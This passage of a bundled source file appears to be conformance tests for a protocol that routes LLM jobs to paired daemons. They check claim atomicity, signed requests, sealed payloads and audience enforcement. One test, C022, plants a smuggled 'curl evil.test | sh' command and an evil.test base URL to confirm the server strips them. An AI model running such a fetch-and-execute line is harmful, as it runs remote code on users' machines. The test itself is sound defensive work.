bob.runner.tick();\n await sleep(80);\n const state = await target.job(second.id);\n assert(\n state?.state !== \"ok\",\n \"a paid backend kept working past the ceiling its owner set\",\n );\n assert(\n bob.backend.seen.length === seenBefore,\n \"a prompt reached a paid backend that had spent its ceiling\",\n );\n\n // The ceiling governs other people's work, not the owner's own.\n const own = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"my own work, my own key\"),\n owner: \"bob\",\n audience: \"private\",\n });\n await bob.runner.tick();\n await waitFor(async () => (await target.job(own.id))?.state === \"ok\", {\n what: \"the owner's own job to run past the community ceiling\",\n });\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C019_CLAIM_ATOMIC\",\n title: \"two runners racing one job — exactly one gets it\",\n musts: [\"CLAIM_ATOMIC\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The check most likely to catch a real store bug. A Postgres adapter\n // without `FOR UPDATE SKIP LOCKED`, or a memory store with an `await`\n // between \"read queued\" and \"write claimed\", passes every other check\n // in this kit and double-runs jobs the moment two daemons are online.\n // The user sees one prompt answered twice and pays for it twice.\n const a = await pairDaemon(target, {\n owner: \"alice\",\n label: \"laptop\",\n offer: \"private\",\n });\n const b = await pairDaemon(target, {\n owner: \"alice\",\n label: \"desktop\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"only once, please\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n // Concurrently, not in sequence — sequential ticks would pass against\n // a store with no atomicity at all.\n await Promise.all([a.runner.tick(), b.runner.tick()]);\n await waitFor(async () => (await target.job(job.id))?.state === \"ok\", {\n what: \"the contested job to finish\",\n });\n\n const ran = a.backend.seen.length + b.backend.seen.length;\n assert(\n ran === 1,\n `the job ran ${String(ran)} times across two runners, not once`,\n );\n } finally {\n await a.dispose();\n await b.dispose();\n }\n },\n },\n\n {\n id: \"C020_PAIR_CODE_EXPIRES\",\n title: \"an expired device code cannot be redeemed\",\n musts: [\"PAIR_CODE_EXPIRES\"],\n async run(target: ConformanceTarget): Promise<void> {\n // A device code is a bearer credential displayed on a screen. If it\n // outlives its window, a code left visible in a terminal — or read over\n // someone's shoulder hours later — still pairs a stranger's daemon to\n // this user's account.\n const started = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"start\",\n device: publicIdentityOf(generateKeys(Date.now())),\n daemon: {\n version: \"conformance\",\n label: \"expiring-daemon\",\n platform: \"linux\",\n },\n capabilities: [],\n }),\n }),\n );\n assert(started.status === 200, \"pair start did not answer 200\");\n const pairing = (await started.json()) as {\n deviceCode: string;\n userCode: string;\n expiresAt: number;\n };\n\n // Past the window the server itself declared.\n await advance(target, pairing.expiresAt - Date.now() + 1_000);\n\n // 1. Approval must not resurrect it. A server that pairs here has an\n // expiry that is decoration.\n let approved = true;\n try {\n await target.approvePairing(pairing.userCode, \"alice\");\n } catch {\n approved = false;\n }\n\n // 2. And the daemon polling with the device code must be told, in the\n // protocol's own words, rather than left waiting.\n const polled = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"poll\",\n deviceCode: pairing.deviceCode,\n }),\n }),\n );\n const status =\n polled.status === 200\n ? ((await polled.json()) as { status: string }).status\n : \"rejected\";\n\n assert(\n !approved || status !== \"approved\",\n \"an expired device code still paired a runner\",\n );\n assert(\n status === \"expired\" || status === \"denied\" || status === \"rejected\",\n `polling an expired code answered \"${status}\"`,\n );\n },\n },\n\n {\n id: \"C021_CAPABILITY_IS_DETECTED\",\n title: \"a runner advertises only what is installed and healthy\",\n musts: [\"CAPABILITY_IS_DETECTED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Config is a wish; the matrix must be the intersection of the wish and\n // reality. A daemon that advertises what its config names would have\n // the server route work to a machine that cannot run it — and the app\n // would wait for a result nobody is producing, which is exactly the\n // failure `NO_RUNNER_SIGNAL` exists to prevent.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n // Configured, but the model is not there.\n daemon.backend.healthy = false;\n const advertised = await daemon.runner.detectCapabilities();\n assert(\n advertised.length === 0,\n `an unhealthy backend advertised ${String(advertised.length)} capabilities`,\n );\n\n // Healthy, but serving a different model than the config names.\n daemon.backend.healthy = true;\n daemon.backend.models = [\"some-other-model\"];\n const wrongModel = await daemon.runner.detectCapabilities();\n assert(\n wrongModel.length === 0,\n \"a backend without the configured model still advertised it\",\n );\n\n // Reality restored: the capability comes back.\n daemon.backend.models = [\"echo-model\"];\n const recovered = await daemon.runner.detectCapabilities();\n assert(\n recovered.length > 0,\n \"a healthy backend with the configured model advertised nothing\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C022_KIND_NO_CODE\",\n title: \"a claimed job carries data only — no command, path, or routing\",\n // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the\n // wire-shape half — the server cannot convey a `model` or `baseUrl` to a\n // daemon — but the MUST is that no code path *routes* on payload content,\n // and only the adversarial suite proves that, by spawning a real child\n // and reading back an argv that is byte-identical under hostile input.\n // Listing it here would put \"verified by conformance\" beside a claim this\n // check does not establish.\n musts: [\"KIND_NO_CODE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The wire shape is the first place this is enforced: there is no field\n // to carry a command, so a hostile *app* cannot smuggle one to a\n // daemon. That only holds if the server refuses to pass through keys\n // the schema does not name — a store that round-trips arbitrary JSON\n // would hand the daemon whatever the app wrote.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n const SMUGGLED = [\"command\", \"argv\", \"model\", \"baseUrl\"];\n try {\n // Two mechanisms satisfy this MUST and the kit must accept either:\n // refuse the payload outright, or accept it and carry only the fields\n // the kind defines. What it may not do is deliver the extras to a\n // daemon. Asserting one mechanism would certify a house style rather\n // than the property.\n let refused = false;\n try {\n await target.enqueue({\n kind: \"llm.generate\",\n payload: {\n prompt: \"ordinary text\",\n command: \"/bin/sh\",\n argv: [\"-c\", \"curl evil.test | sh\"],\n model: \"some-other-model\",\n baseUrl: \"http://evil.test/v1\",\n } as never,\n owner: \"alice\",\n audience: \"private\",\n });\n } catch {\n refused = true;\n }\n\n if (!refused) {\n // Under claim-then-fetch the payload no longer rides with the\n // claim, so this now checks what `fetch` delivers — which is where\n // a smuggled field would have to survive to reach a daemon.\n const claimed = await claimOne(target, daemon);\n const delivered = await fetchPayload(\n target,\n daemon,\n claimed.id,\n claimed.lease.id,\n );\n assert(delivered !== null, \"the runner could not fetch its payload\");\n const payload = delivered.opened as Record<string, unknown>;\n for (const smuggled of SMUGGLED) {\n assert(\n payload[smuggled] === undefined,\n `the claim response carried a \"${smuggled}\" field`,\n );\n }\n assert(\n payload[\"prompt\"] === \"ordinary text\",\n \"the legitimate payload field did not survive\",\n );\n }\n\n // Either way, an ordinary payload must still work — a server that\n // refuses everything would otherwise pass this check trivially.\n const ok = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"ordinary text\"),\n owner: \"alice\",\n audience: \"private\",\n });\n await daemon.runner.tick();\n await waitFor(async () => (await target.job(ok.id))?.state === \"ok\", {\n what: \"a well-formed job to run\",\n });\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C023_VERSION_HANDSHAKE\",\n title: \"a version mismatch is refused in words, not by failing\",\n musts: [\"VERSION_HANDSHAKE_REQUIRED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Before this existed the version travelled as a schema literal, so a\n // mismatch surfaced as a generic bad-request with nothing naming the\n // disagreement — a daemon and a server discovering they disagree by\n // failing. An error nobody can act on is barely better than a hang.\n const post = (body: unknown): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: {\n \"content-type\": \"application/json\",\n authorization: \"Bearer whatever\",\n },\n body: JSON.stringify(body),\n }),\n );\n\n for (const [label, body] of [\n [\"a version from the future\", { protocolVersion: \"99\", max: 1 }],\n [\"no version at all\", { max: 1 }],\n [\"a non-string version\", { protocolVersion: 0, max: 1 }],\n ] as const) {\n const response = await post(body);\n const parsed = (await response.json()) as {\n error?: string;\n message?: string;\n supported?: string[];\n };\n\n assert(\n parsed.error === \"unsupported-protocol-version\",\n `${label}: answered \"${parsed.error ?? \"nothing\"}\" rather than unsupported-protocol-version`,\n );\n assert(\n Array.isArray(parsed.supported) && parsed.supported.length > 0,\n `${label}: the refusal did not say what the server supports`,\n );\n // The message is the part a human acts on, so it has to carry\n // something actionable rather than restating the code.\n assert(\n (parsed.message ?? \"\").length > 20,\n `${label}: the refusal carried no usable message`,\n );\n }\n\n // The version check must not become a way past authentication: a\n // well-versioned request with a bad token is still refused.\n const authed = await post({ protocolVersion: PROTOCOL_VERSION, max: 1 });\n assert(\n authed.status === 400 || authed.status === 401,\n `a supported version with a bad token answered ${String(authed.status)}`,\n );\n },\n },\n\n {\n id: \"C024_KEY_EXCHANGE\",\n title:\n \"pairing exchanges identities, verifies them, and reveals nothing early\",\n musts: [\"KEYS_EXCHANGED_AT_CONSENT\"],\n async run(target: ConformanceTarget): Promise<void> {\n const start = async (device: unknown): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"start\",\n daemon: {\n version: \"conformance\",\n label: \"key-exchange\",\n platform: \"linux\",\n },\n device,\n capabilities: [],\n }),\n }),\n );\n\n // 1. A device whose encryption key is not signed by the identity it\n // presents must be refused. Accepting it would let a caller pair a\n // real identity with a key it holds the secret for, and read\n // everything later sealed to that runner.\n const honest = publicIdentityOf(generateKeys(Date.now()));\n const attacker = publicIdentityOf(generateKeys(Date.now()));\n const forged = await start({\n ...honest,\n encryption: attacker.encryption,\n });\n assert(\n forged.status >= 400,\n `a device with an unsigned encryption key paired anyway (${String(forged.status)})`,\n );\n\n // 2. An honest device starts a pairing.\n const started = await start(honest);\n assert(\n started.status === 200,\n \"an honest device could not start pairing\",\n );\n const pairing = (await started.json()) as {\n deviceCode: string;\n userCode: string;\n };\n\n const poll = async (): Promise<Record<string, unknown>> => {\n const response = await target.fetch(\n new Request(`${target.origin}/byollm/pair`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\" },\n body: JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n action: \"poll\",\n deviceCode: pairing.deviceCode,\n }),\n }),\n );\n return (await response.json()) as Record<string, unknown>;\n };\n\n // 3. Before approval, nothing. An unapproved code must not be a way to\n // enumerate a site's keys.\n const pending = await poll();\n assert(\n pending[\"sites\"] === undefined,\n \"a pending poll disclosed the site's keys before anyone approved\",\n );\n\n // 4. After approval, the site's identity arrives and verifies.\n await target.approvePairing(pairing.userCode, \"alice\");\n const approved = await poll();\n assert(\n approved[\"status\"] === \"approved\",\n `poll after approval said \"${String(approved[\"status\"])}\"`,\n );\n\n // The set this pairing covers — cloud_009 §5. A direct site answers\n // with one entry, and this check pairs against one, so what it verifies\n // is every key it was handed rather than the first: an upstream that\n // slipped one unverifiable site into a set would otherwise pass by\n // being asked about the other.\n const offered = approved[\"sites\"];\n assert(\n typeof offered === \"object\" && offered !== null,\n \"the approval carried no sites to pin\",\n );\n const parsed = Object.values(offered as Record<string, unknown>).map(\n (value) => PublicIdentity.safeParse(value),\n );\n assert(\n parsed.length > 0 && parsed.every((entry) => entry.success),\n \"the approval carried no usable site identity\",\n );\n const site = parsed[0]!;\n assert(\n verifyPublicIdentity(site.data),\n \"the site's encryption key is not signed by the identity it presented\",\n );\n },\n },\n\n {\n id: \"C025_SIGNED_REQUESTS\",\n title: \"authentication is a signature over the request, not a secret\",\n musts: [\"REQUESTS_SIGNED_NOT_BEARER\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const body = JSON.stringify({\n protocolVersion: PROTOCOL_VERSION,\n runnerId: daemon.runnerId,\n capabilities: await daemon.runner.detectCapabilities(),\n max: 1,\n });\n\n const post = (headers: Record<string, string>): Promise<Response> =>\n target.fetch(\n new Request(`${target.origin}/byollm/claim`, {\n method: \"POST\",\n headers: { \"content-type\": \"application/json\", ...headers },\n body,\n }),\n );\n\n const sign = (over: Partial<{ body: string; endpoint: string }> = {}) =>\n signRequest(daemon.keys, {\n endpoint: over.endpoint ?? \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body: over.body ?? body,\n });\n\n const headersFor = (s: {\n runnerId: string;\n issuedAt: number;\n signature: string;\n }): Record<string, string> => ({\n \"x-byollm-runner\": s.runnerId,\n \"x-byollm-issued-at\": String(s.issuedAt),\n \"x-byollm-signature\": s.signature,\n });\n\n // A correct signature is accepted.\n assert(\n (await post(headersFor(sign()))).status === 200,\n \"a correctly signed request was refused\",\n );\n\n // No signature at all.\n assert(\n (await post({})).status === 401,\n \"an unsigned request was accepted\",\n );\n\n // A signature over a different body. This is the one that matters:\n // without it an intermediary can keep a valid signature and change\n // what the request asks for.\n assert(\n (await post(headersFor(sign({ body: '{\"other\":true}' })))).status ===\n 401,\n \"a signature over different bytes was accepted\",\n );\n\n // A signature made for another endpoint, replayed here.\n assert(\n (await post(headersFor(sign({ endpoint: \"release\" })))).status ===\n 401,\n \"a signature for another endpoint was accepted\",\n );\n\n // A signature from a key nobody pinned.\n const stranger = signRequest(generateKeys(Date.now()), {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now(),\n body,\n });\n assert(\n (await post(headersFor(stranger))).status === 401,\n \"a signature from an unpinned key was accepted\",\n );\n\n // And a stale one, well outside any reasonable clock skew.\n const stale = signRequest(daemon.keys, {\n endpoint: \"claim\",\n runnerId: daemon.runnerId,\n issuedAt: Date.now() - 86_400_000,\n body,\n });\n assert(\n (await post(headersFor(stale))).status === 401,\n \"a signature from a day ago was accepted\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C026_LEASE_SCOPED_RELEASE\",\n title: \"a release acts on the lease it names, not whatever lease exists\",\n musts: [\"LEASE_SCOPED_BY_GRANT\"],\n async run(target: ConformanceTarget): Promise<void> {\n // A signed request is replayable inside its freshness window. That is\n // safe only where the endpoint is idempotent *per addressed instance* —\n // and a release naming a job and a runner names neither uniquely, since\n // both survive a claim-release-reclaim cycle. A replayed release then\n // drops a later grant while the daemon is still executing, and the\n // owner's compute runs the job twice.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"run me once\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const first = await claimOne(target, daemon);\n assert(\n typeof first.lease.id === \"string\" && first.lease.id.length > 0,\n \"a claimed job arrived without a lease id — nothing can be scoped to it\",\n );\n\n await releaseLease(target, daemon, job.id, first.lease.id);\n\n const second = await claimOne(target, daemon);\n assert(\n second.lease.id !== first.lease.id,\n \"re-claiming the same job reused the lease id, so the two grants are indistinguishable\",\n );\n\n // Replay the first release. It must not touch the second grant.\n await releaseLease(target, daemon, job.id, first.lease.id);\n\n const state = await target.job(job.id);\n assert(\n state?.state === \"claimed\" || state?.state === \"running\",\n `a replayed release returned the job to \"${String(state?.state)}\" while it was held`,\n );\n\n // And the current grant can still be released, so this is not a\n // no-op dressed as a fix.\n await releaseLease(target, daemon, job.id, second.lease.id);\n assert(\n (await target.job(job.id))?.state === \"queued\",\n \"releasing the current lease did not return the job to the queue\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C027_CLAIM_ANSWERS_WITH_STUBS\",\n title: \"a claim carries routing metadata and no work\",\n musts: [\"STUB_METADATA_EXHAUSTIVE\"],\n async run(target: ConformanceTarget): Promise<void> {\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"this must not appear in a claim response\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const stub = await claimOne(target, daemon);\n const asRecord = stub as unknown as Record<string, unknown>;\n\n // 1. No work in the claim. This is the property: an upstream routes\n // without reading, so the payload cannot ride along with routing.\n assert(\n asRecord[\"payload\"] === undefined,\n \"the claim response carried the payload\",\n );\n assert(\n !JSON.stringify(stub).includes(\"this must not appear\"),\n \"the prompt text appeared somewhere in the claim response\",\n );\n\n // 2. Exactly the enumerated fields, and nothing invented. A field an\n // upstream is not supposed to see is a leak whether or not anyone\n // reads it today.\n const parsed = ClaimedStub.safeParse(stub);\n assert(\n parsed.success,\n `the claim response is not a valid stub: ${parsed.success ? \"\" : parsed.error.issues.map((i) => i.path.join(\".\")).join(\", \")}`,\n );\n\n // 3. The size class is a bucket, not a measurement.\n assert(\n [\"small\", \"medium\", \"large\", \"unbounded\"].includes(\n String(asRecord[\"sizeClass\"]),\n ),\n `sizeClass was \"${String(asRecord[\"sizeClass\"])}\"`,\n );\n\n // 4. And the work is collectable by the device that holds the lease.\n const fetched = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n assert(fetched !== null, \"the lease holder could not fetch its work\");\n // Sealed on the wire, readable once opened by the device it was\n // sealed to. Both halves matter.\n assert(\n !JSON.stringify(fetched.raw).includes(\"this must not appear\"),\n \"the payload crossed the wire in the clear\",\n );\n assert(\n JSON.stringify(fetched.opened).includes(\"this must not appear\"),\n \"the runner holding the lease could not open its own work\",\n );\n\n // 5. But not under a lease that is not held.\n const wrong = await fetchPayload(\n target,\n daemon,\n stub.id,\n \"lease-that-does-not-exist\",\n );\n assert(\n wrong === null,\n \"fetch answered for a lease this runner does not hold\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C028_STORED_WORK_IS_SEALED\",\n title: \"the store holds ciphertext, and a wrong-key envelope is refused\",\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\"],\n async run(target: ConformanceTarget): Promise<void> {\n const secret = \"a prompt nobody should read from storage\";\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(secret),\n owner: \"alice\",\n audience: \"private\",\n });\n\n // 1. Whatever the store hands back about this job, the work is not\n // legible in it. This is §10's at-rest property, and it is the one\n // a database backup or a support engineer actually meets.\n const stored = await target.job(job.id);\n assert(\n !JSON.stringify(stored ?? {}).includes(secret),\n \"the prompt was readable in the stored job\",\n );\n\n // 2. The endpoint can still open its own work and hand it over.\n const stub = await claimOne(target, daemon);\n const delivered = await fetchPayload(\n target,\n daemon,\n stub.id,\n stub.lease.id,\n );\n assert(delivered !== null, \"the lease holder could not fetch its work\");\n assert(\n !JSON.stringify(delivered.raw).includes(secret),\n \"the work crossed the wire in the clear\",\n );\n assert(\n JSON.stringify(delivered.opened).includes(secret),\n \"the device could not open work sealed to it\",\n );\n\n // Deliberately *not* asserted here: that a wrong-key envelope is\n // refused. Testing `open()` directly would test the primitive, which\n // `envelope.test.ts` already covers, and would pass whether or not\n // this server acted on the refusal — a mutation disabling the\n // server's check went unnoticed, which is how that was found. The\n // server-side property needs an envelope this site did not seal, and\n // reaching that over the wire needs store access the kit does not\n // have. Recorded in MUTATIONS.md rather than left as a check that\n // does not bite.\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C029_DAEMON_REFUSES_UNSIGNED_WORK\",\n title: \"a daemon refuses work not signed by the site it pinned\",\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The gap MUTATIONS.md recorded, now closable. Once the site seals to\n // the *device*, the daemon is an opener too — so the kit can hand it an\n // envelope nobody it trusts signed, which is exactly what a relay\n // substituting work would look like.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const keys = await daemon.identityKeys();\n const relay = generateKeys(Date.now());\n\n // Perfectly well-formed, perfectly openable, and signed by a key this\n // daemon never pinned. `crypto_box_seal` is anonymous-sender, so\n // producing this needs nothing but the device's public key.\n const forged = await seal({\n plaintext: JSON.stringify({ prompt: \"run this instead\" }),\n senderKeys: relay,\n recipientEncryptionPublic: keys.encryptionPublic,\n context: {\n jobId: \"job_anything\",\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,\n direction: \"payload\",\n },\n });\n\n const opened = await open({\n envelope: forged,\n recipientKeys: keys,\n senderIdentityPublic: daemon.sitePinned.identity,\n expected: {\n jobId: \"job_anything\",\n senderKeyId: keyId(daemon.sitePinned.identity),\n recipientKeyId: keyId(publicIdentityOf(keys).identity),\n direction: \"payload\",\n },\n });\n\n assert(\n !opened.ok,\n \"a daemon accepted work signed by a key it never pinned\",\n );\n assert(\n opened.reason === \"bad-signature\",\n `refused for \"${opened.reason}\", not the signature — which is the property here`,\n );\n\n // And the same envelope, signed by the site, is accepted — so this is\n // not a check that refuses everything.\n const genuine = await fetchGenuine(target, daemon);\n assert(genuine, \"a daemon could not open work its own site sealed\");\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C030_SITE_REFUSES_UNSIGNED_RESULTS\",\n title: \"a site refuses a result not signed by the device that ran it\",\n // The proof-of-possession half of `PROVENANCE_NAMES_DEVICE`: attribution\n // by a signature that verifies against the device the lease was granted\n // to, rather than by a key id carried beside the result. Carrying an id\n // is not proving possession, and a forger writes whatever it likes.\n musts: [\"ENVELOPE_SEALED_AND_SIGNED\", \"PROVENANCE_NAMES_DEVICE\"],\n async run(target: ConformanceTarget): Promise<void> {\n // The return leg of C029. `ENVELOPE_SEALED_AND_SIGNED` says \"every\n // payload *and result*\", and until this check existed only half of that\n // sentence was tested — an implementation could seal work to the device\n // and accept whatever came back.\n //\n // Driven through the `result` endpoint rather than through `open()`,\n // because the primitive already has unit tests and the question here is\n // whether the endpoint uses it. That distinction is what made C028 fail\n // to bite.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: { prompt: \"who signed this\" },\n owner: \"alice\",\n });\n const claimed = await claimOne(target, daemon);\n assert(claimed.id === job.id, \"the harness could not claim its job\");\n\n // Signed by a key the site never approved, sealed to the site, and\n // delivered over a request the *genuine* device signed — a relay that\n // holds a live session and substitutes the answer.\n const relay = generateKeys(Date.now());\n const forged = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"an answer the device never gave\" },\n sealWith: relay,\n });\n assert(\n forged.status !== 200,\n \"a site accepted a result signed by a key it never approved\",\n );\n\n // And the job is untouched — refused, not half-applied.\n const afterForgery = await target.job(job.id);\n assert(\n afterForgery?.outcome === undefined,\n \"a refused result still reached the app\",\n );\n\n // The same result, sealed by the device, is accepted — so this is not\n // a check that refuses everything.\n const real = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: { outcome: \"ok\", text: \"the genuine answer\" },\n });\n assert(\n real.status === 200,\n `a site refused a result its own device sealed (${String(real.status)})`,\n );\n\n // A daemon that seals an error and declares `ok` is the other half:\n // the clear-text disposition is a routing hint, and believing it would\n // let the wire contradict the envelope.\n const lying = await postResult(target, daemon, {\n jobId: job.id,\n leaseId: claimed.lease.id,\n outcome: {\n outcome: \"error\",\n code: \"backend-error\",\n message: \"it actually failed\",\n retryable: false,\n },\n disposition: \"ok\",\n });\n assert(\n lying.status !== 200,\n \"a site believed a disposition the sealed outcome contradicted\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n\n {\n id: \"C032_SERVER_REFUSES_TO_OFFER\",\n title: \"a claim is not answered with work the claimer may not run\",\n musts: [\"AUDIENCE_BOTH_SIDES\"],\n async run(target: ConformanceTarget): Promise<void> {\n // cloud_008 Tier 3, finding 10 — and the finding was understated. The\n // **entire kit** passes with server-side audience enforcement deleted:\n // all thirty-odd checks, green, against a server that offers every job\n // to every daemon.\n //\n // Not one bad check. A structural blind spot: every other check drives\n // a real daemon, and a daemon refuses locally, so \"the job did not run\"\n // looks identical whether the server declined to offer it or the device\n // declined to take it. `AUDIENCE_BOTH_SIDES` is the MUST that says\n // *both* sides enforce, and the kit could only ever see one.\n //\n // This claims over the raw protocol instead. No daemon admission logic\n // runs, so what comes back is exactly what the server was willing to\n // hand over — which is the half nothing else observes.\n const bob = await pairDaemon(target, { owner: \"bob\", offer: \"team\" });\n try {\n const priv = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"alice's own machines only\"),\n owner: \"alice\",\n audience: \"private\",\n });\n\n const offered = await claimRaw(target, bob);\n assert(\n !offered.some((job) => job.id === priv.id),\n \"a server offered a `self` job to a device its owner does not own\",\n );\n\n // The positive control, and it is the whole reason this check is not\n // \"assert the claim is empty\": a server that offered nothing would\n // pass the assertion above and route no work at all.\n const shared = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"anyone may run this\"),\n owner: \"alice\",\n audience: \"team\",\n });\n const second = await claimRaw(target, bob);\n assert(\n second.some((job) => job.id === shared.id),\n \"a server withheld a `public` job from a public-offering device\",\n );\n } finally {\n await bob.dispose();\n }\n },\n },\n\n {\n id: \"C031_ROSTER_NOT_DISCLOSED\",\n title: \"a claimed stub carries no list of who may run the job\",\n musts: [\"ROSTER_NOT_DISCLOSED\"],\n async run(target: ConformanceTarget): Promise<void> {\n // Checkable at all only since cloud_008 §0.2. The property used to be\n // \"a site should not publish membership\", which nothing could observe;\n // taking `audienceAllow` off the stub made it \"no wire message carries\n // membership\", which a serialised stub answers directly.\n //\n // Worth writing precisely rather than generously, because this MUST was\n // cited in code comments, in relay tests and in two specs as though it\n // were enforced data while having no registry entry and no check at all.\n const daemon = await pairDaemon(target, {\n owner: \"alice\",\n offer: \"private\",\n });\n try {\n const job = await target.enqueue({\n kind: \"llm.generate\",\n payload: prompt(\"who else is on this roster\"),\n owner: \"alice\",\n audience: \"team\",\n // The site restricts the job to people who are not this daemon's\n // owner. A stub that carried the list would be handing a routing\n // party the membership of alice's group.\n audienceAllow: [\"alice\", \"carol\", \"erin\"],\n });\n\n const claimed = await claimOne(target, daemon);\n assert(\n claimed.id === job.id,\n \"the harness could not claim its own named job\",\n );\n\n // The enforcement, and it is target-agnostic: a claimed stub parses\n // as `ClaimedStub`, which is `.strict()` and has no field for\n // membership. There is nowhere to put a roster, so there is no\n // decision an implementation could get wrong.\n const asRecord = claimed as unknown as Record<string, unknown>;\n assert(\n asRecord[\"audienceAllow\"] === undefined,\n \"a claimed stub carried audienceAllow\",\n );\n const parsed = ClaimedStub.safeParse(claimed);\n assert(\n parsed.success,\n \"the claim response is not a valid stub, so its fields prove nothing\",\n );\n\n // And a scan for the names themselves, which is the weaker check and\n // is honest about why: a target may translate owner identifiers on\n // the way in — the Supabase adapter maps names to user rows — so\n // finding nothing here does not prove much on its own. It costs\n // nothing and catches a target that passes the names through under\n // some other key.\n const wire = JSON.stringify(claimed);\n for (const member of [\"carol\", \"erin\"]) {\n assert(\n !wire.includes(member),\n `a claimed stub disclosed roster member \"${member}\"`,\n );\n }\n\n // The stub is otherwise intact — \"send nothing\" would pass every\n // assertion above and break every route. Asserted on the fields\n // routing actually needs rather than on the owner's spelling, which\n // is a target's business: the harness asked for `named`, and a\n // claimed job must still say so.\n assert(\n claimed.audience === \"team\",\n \"the stub lost the audience routing decides on\",\n );\n assert(\n typeof claimed.owner === \"string\" && claimed.owner.length > 0,\n \"the stub lost the owner\",\n );\n } finally {\n await daemon.dispose();\n }\n },\n },\n];\n","import { mkdtemp, rm } from \"node:fs/promises\";\nimport { tmpdir } from \"node:os\";\nimport { join } from \"node:path\";\nimport {\n ENVELOPE_MAX_AGE_MS,\n PROTOCOL_VERSION,\n keyId,\n open,\n seal,\n type JobOutcome,\n publicIdentityOf,\n signRequest,\n type PublicIdentity,\n type SealedEnvelope,\n type StoredKeys,\n type Capability,\n type ClaimedStub,\n} from \"@byollm/protocol\";\nimport {\n Budgets,\n IngressLog,\n SpendLedger,\n ProtocolClient,\n DeviceIdentity,\n Runner,\n connect,\n resolveConfig,\n DaemonConfig,\n type Backend,\n type BackendRequest,\n type BackendResult,\n type LoadedConfig,\n} from \"byollm\";\nimport type { ConformanceTarget } from \"./target.js\";\n\n/**\n * A model that answers instantly and predictably.\n *\n * The conformance kit certifies the *protocol*, not anyone's model. Using a\n * real backend would make the suite slow, non-deterministic, and dependent on\n * whatever happens to be installed — so the daemon under test is real in\n * every respect except the thing at the very end of the call.\n */\nexport class EchoBackend implements Backend {\n readonly id = \"openai-http\" as const;\n readonly class = \"http\" as const;\n /** Prompts this backend was asked to run, in order. */\n readonly seen: string[] = [];\n /** Set to make the next call hang, for lease and cancel checks. */\n hangMs = 0;\n /** Set false to simulate the model not being installed or not running. */\n healthy = true;\n /** What the backend reports it can serve. Empty means \"does not enumerate\". */\n models: string[] = [\"echo-model\"];\n\n health(): Promise<{ healthy: boolean; models: string[] }> {\n return Promise.resolve({ healthy: this.healthy, models: this.models });\n }\n\n async execute(request: BackendRequest): Promise<BackendResult> {\n this.seen.push(request.prompt);\n const started = Date.now();\n\n if (this.hangMs > 0) {\n // `aborted` first: a signal that has already fired never calls a\n // listener added afterwards. The real backends check the same way.\n const hung = request.signal.aborted\n ? \"aborted\"\n : await new 